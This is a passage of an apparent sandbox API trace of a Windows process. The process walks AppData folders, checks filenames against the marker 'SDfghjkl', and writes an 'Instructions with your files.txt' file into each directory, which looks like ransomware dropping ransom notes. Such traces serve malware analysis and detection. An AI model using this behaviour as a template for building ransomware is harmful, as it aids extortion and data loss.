[0131.277] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\..") returned 99
[0131.277] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1
[0131.277] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned 108
[0131.277] GetProcessHeap () returned 0x810000
[0131.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.277] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*") returned 110
[0131.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.278] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\.") returned 110
[0131.278] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.278] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\..") returned 111
[0131.278] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 1
[0131.278] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned 112
[0131.278] GetProcessHeap () returned 0x810000
[0131.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8acc10
[0131.280] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*") returned 114
[0131.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0131.280] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\.") returned 114
[0131.280] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.280] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\..") returned 115
[0131.280] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 1
[0131.280] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 125
[0131.280] StrStrIW (lpFirst="settings.sol", lpSrch="SDfghjkl") returned 0x0
[0131.280] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 0
[0131.280] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\Instructions with your files.txt") returned 145
[0131.280] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0131.280] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0131.281] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0131.281] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0131.281] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0131.282] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0131.282] CloseHandle (hObject=0x128) returned 1
[0131.282] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0131.282] GetProcessHeap () returned 0x810000
[0131.282] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8acc10 | out: hHeap=0x810000) returned 1
[0131.282] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 0
[0131.282] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\Instructions with your files.txt") returned 141
[0131.282] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.282] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.283] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.283] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.283] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.283] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.283] CloseHandle (hObject=0x124) returned 1
[0131.284] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.284] GetProcessHeap () returned 0x810000
[0131.284] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.285] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 0
[0131.285] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\Instructions with your files.txt") returned 129
[0131.285] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.285] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.286] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.286] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.286] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.286] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.287] CloseHandle (hObject=0x120) returned 1
[0131.287] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.287] GetProcessHeap () returned 0x810000
[0131.287] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.287] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0
[0131.287] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\Instructions with your files.txt") returned 121
[0131.287] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.287] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.288] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.288] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.288] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.288] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.288] CloseHandle (hObject=0x11c) returned 1
[0131.289] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.289] GetProcessHeap () returned 0x810000
[0131.289] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.289] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0
[0131.289] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\Instructions with your files.txt") returned 106
[0131.289] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.290] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.291] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.291] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.291] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.291] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.291] CloseHandle (hObject=0x118) returned 1
[0131.291] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.292] GetProcessHeap () returned 0x810000
[0131.292] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.293] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0
[0131.293] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Instructions with your files.txt") returned 93
[0131.293] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.293] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.294] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.294] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.294] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.294] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.294] CloseHandle (hObject=0x114) returned 1
[0131.294] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.295] GetProcessHeap () returned 0x810000
[0131.295] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.295] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
[0131.295] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft") returned 59
[0131.295] GetProcessHeap () returned 0x810000
[0131.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.295] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*") returned 61
[0131.295] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.295] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\.") returned 61
[0131.295] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
